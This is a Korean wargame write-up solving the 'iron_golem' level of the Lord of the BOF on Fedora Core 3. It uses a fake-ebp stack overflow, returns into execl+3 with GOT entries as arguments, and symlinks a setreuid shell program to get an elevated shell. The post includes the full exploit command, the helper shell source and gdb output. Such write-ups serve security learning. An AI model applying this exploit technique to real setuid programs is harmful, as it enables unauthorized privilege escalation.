이전 레드햇에서의 BOF원정대와 달라진점은
1. exec-shield : 스택에 존재하는 어셈블리어는 실행이 안됩니다. 즉, 쉘코드를 스택에 올려봐야 소용이 없습니다. 2. 랜덤스택: 스택의 주소가 계속 바뀌기때문에, 어짜피 스택의 한 지점으로 점프하기도 쉽지 않습니다. 3. 00 으로 시작되는 라이브러리 주소: 00(NULL)이 들어감으로써, 라이브러리 주소를 쓰는순간 스트링이 끊깁니다. 즉, 라이브러리 주소는 마지막에 딱 한번만 사용 가능합니다. |
그렇다면, 이를 해결하기위해서 제가 사용할 방법은,
execl을 이용하고, fake ebp를 이용해서 GOT부분을 execl의 argument로서 사용할것입니다.
좀더 풀어서 설명하자면,
execl의 argument는 다음과 같습니다.
execl(실행할 파일 경로, 인자1, 인자2, ... , 인자n, NULL);
이 execl을 이용해서, [uid를 재설정하고 /bin/sh를 실행시키는 프로그램]을 실행시킬겁니다.
그 프로그램은 직접 간단히 코딩해서 컴파일해둡니다.
그리고, execl은 항상 마지막 argument가 NULL(0) 이어야 합니다.
그러면서, 그 argument의 주소가 랜덤이 아닌곳이어야겠죠.
그 주소가 바로 GOT부분입니다.
GOT부분을 보면 대충 ??????? ???????? 00000000
이런식으로 있을것이고, ebp를 조작해서 저 ????? 부분을 argument로 두고,
?????와 같은 이름의 심볼릭 링크를 만들어놔서, 쉘을 실행시키는 프로그램에 연결해두면 성공입니다.
이제 문제로 들어가면,
/* The Lord of the BOF : The Fellowship of the BOF - iron_golem - Local BOF on Fedora Core 3 - hint : fake ebp */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
iron_golem.c
소스는 아주 간단합니다. 단지 환경이 좀 까다롭죠.
우선, GOT의 주소를 구하고, fake ebp를 사용할 address를 기억해두겠습니다.
[gate@Fedora_1stFloor ~]$ objdump -h iron_golem iron_golem: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn ...... 19 .got 00000004 08049614 08049614 00000614 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .got.plt 0000001c 08049618 08049618 00000618 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .data 0000000c 08049634 08049634 00000634 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .bss 00000004 08049640 08049640 00000640 2**2 ALLOC 23 .comment 00000126 00000000 00000000 00000640 2**0 CONTENTS, READONLY |
objdump로 GOT의 주소를 확인해봅니다.
그리고 gdb로 그 주소를 확인해봅시다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) x/10x 0x8049618 0x8049618 <_GLOBAL_OFFSET_TABLE_>: 0x0804954c 0x00000000 0x00000000 0x080482ee 0x8049628 <_GLOBAL_OFFSET_TABLE_+16>: 0x080482fe 0x0804830e 0x0804831e 0x00000000 0x8049638 <__dso_handle>: 0x00000000 0x08049544 |
그럼, 보시다시피 0x8049618부터 첫번째 인자라고 가정할때,
0x084954C가 첫번째 인자인 파일명이 되고,
세번째인자가 NULL이 되므로, argument로 사용하기에 완벽합니다.
그러므로, 저 argment를 사용하기위해 fake ebp를 써야하는데,
왜 fake ebp를 쓰냐면,
argument를 불러올때 ebp를 기준으로 불러오게됩니다.
ebp+8이 첫 argument이고, ebp+C가 두번째 argument이고, 이런식입니다.
그러므로, ebp를 0x8049618 - 8 = 0x8049610 으로 잡아둬야겠죠.
그리고 정확한 파일명을 알아야하기때문에, 0x804954C에 무엇이 들어있는지 보겠습니다.
(gdb) x/4x 0x804954C 0x804954c <_DYNAMIC>: 0x00000001 0x00000024 0x0000000c 0x080482c0 |
little endian 이므로, 읽으면, 0x01 0x00 0x00 0x00 0x24 이런식이 됩니다.
그렇다면, string은 마지막이 0x00(NULL) 이므로, string으로 본다면 "\x01" 이 되겠네요.
그렇다면 파일명은 "\x01"이 됩니다.
그리고 나중에 사용할 파일 shell.c를 만듭니다.
int main() { setreuid(geteuid(),geteuid()); execl("/bin/sh","",0); } |
shell.c
shell.c 는 shell로 컴파일을 해두고
execl로 리턴시켜서 쉘을 획득해야하기 때문에, execl의 위치와 필요한 address를 가져오겠습니다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483d9 (gdb) r Starting program: /home/gate/iron_golem (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x080483d9 in main () (gdb) disas execl Dump of assembler code for function execl: 0x007a5720 <execl+0>: push %ebp 0x007a5721 <execl+1>: mov %esp,%ebp 0x007a5723 <execl+3>: lea 0x10(%ebp),%ecx 0x007a5726 <execl+6>: push %edi 0x007a5727 <execl+7>: push %esi 0x007a5728 <execl+8>: push %ebx 0x007a5729 <execl+9>: sub $0x1038,%esp 0x007a572f <execl+15>: mov 0xc(%ebp),%eax |
여기서 주의해야할점은 0x007a5720의 주소를 기억해둬야하는것이 아니라,
0x007a5723(execl+3)의 주소를 기억해둬야합니다.
왜냐하면 fake ebp를 사용해서 ebp를 강제로 설정할것인데,
첫 두줄은 ebp와 esp를 다시 세팅하는 장면이기때문입니다.
그러므로 리턴할 주소는 0x007a5723이 됩니다.
이제 마지막으로 심볼릭 링크만 걸면 끝납니다.
[gate@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x01"'` [gate@Fedora_1stFloor ~]$ ls ? iron_golem iron_golem.c shell shell.c |
그리고 마지막으로 공격을 하는일만 남았네요.
근데 몇바이트만큼 채워야 하는지 알아야합니다.
fuzzing 을 해서 알아내는 방법도 있지만, 단순히 디버깅을 이용해 알아보겠습니다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x080483d0 <main+0>: push %ebp 0x080483d1 <main+1>: mov %esp,%ebp 0x080483d3 <main+3>: sub $0x108,%esp 0x080483d9 <main+9>: and $0xfffffff0,%esp 0x080483dc <main+12>: mov $0x0,%eax 0x080483e1 <main+17>: add $0xf,%eax 0x080483e4 <main+20>: add $0xf,%eax ...... |
메인을 디스어셈 해보니, 로컬변수를 위해서 0x108 만큼 할당된것을 알수있습니다.
사실, 이 방법은 정확한 방법은 아니지만,
이번 문제에서는 로컬변수가 하나밖에 없기때문에, 0x108이 buf의 크기라고 보셔도 무방합니다.
0x108은 10진법으로 264개이기때문에, buf를 위해 264개의 문자를 채우면 됩니다.
즉 공격코드는
./iron_golem ["A"*264][GOT address - 8][execl address + 3]
이 되겠네요.
[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz bash-3.00$ my-pass euid = 501 blood on the fedora |
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |